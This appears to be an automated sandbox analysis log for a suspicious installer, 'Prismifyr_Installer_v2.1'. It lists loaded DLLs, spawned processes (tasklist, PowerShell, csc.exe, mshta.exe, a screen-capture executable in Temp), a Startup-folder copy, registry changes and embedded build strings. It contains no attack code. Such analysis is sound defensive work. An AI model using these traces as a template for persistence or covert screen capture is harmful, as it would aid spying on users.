Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: mscms.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: coloradapterclient.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: mmdevapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: ffmpeg.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: mf.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: mfplat.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: rtworkq.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: ffmpeg.dll
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: dbgcore.dll
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: kbdus.dll
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: netprofm.dll
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Section loaded: windowscodecs.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: mshtml.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: msiso.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: srpapi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: msimtf.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: textinputframework.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dataexchange.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dcomp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: jscript9.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: textshaping.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dxcore.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Prismifyr_Installer_v2.1.exe	Section loaded: ffmpeg.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Prismifyr_Installer_v2.1.exe	Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Prismifyr_Installer_v2.1.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Prismifyr_Installer_v2.1.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Prismifyr_Installer_v2.1.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Prismifyr_Installer_v2.1.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Prismifyr_Installer_v2.1.exe	Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Prismifyr_Installer_v2.1.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Prismifyr_Installer_v2.1.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Prismifyr_Installer_v2.1.exe	Section loaded: dhcpcsvc.dll

Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist /fo csv

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\7b4c3a21-e2df-5efd-beb5-591edeb53a62

Jump to behavior

Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe

Static file information: File size 98394400 > 1048576

Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: "ProgramDataBaseFileName": "$(IntDir)vc90b.pdb", source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: "$(IntDir)$(ProjectName)\\vc80.pdb", source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Dev\elevate\bin\x86\Release\Elevate.pdb source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2475862062.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2476010965.0000000002E0F000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2476074048.0000000002E12000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: # the .pdb by the precompiled header step for .cc and the compilation of source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: - Use '<(PRODUCT_DIR)/<(product_name).(exe\|dll).pdb' if 'product_name' is source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: CLEANFILES="$CLEANFILES .lib .dll .pdb .exp" source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270572239.0000000005E20000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: - Use '<(PRODUCT_DIR)/<(target_name).(exe\|dll).pdb'. source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: .$ac_ext \| .xcoff \| .tds \| .d \| .pdb \| .xSYM \| .bb \| .bbg \| .map \| .inf \| *.dSYM ) ;; source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270572239.0000000005E20000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\projects\src\out\Default\ffmpeg.dll.pdb source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2397315857.0000000005223000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: config_name, self.ExpandSpecial, output + ".pdb" source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: # See comment at cc_command for why there's two .pdb files. source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\projects\src\out\Default\libGLESv2.dll.pdb source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2278954943.0000000006B20000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: pdb = self.GetPDBName(config, expand_special, output_name + ".pdb") source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp
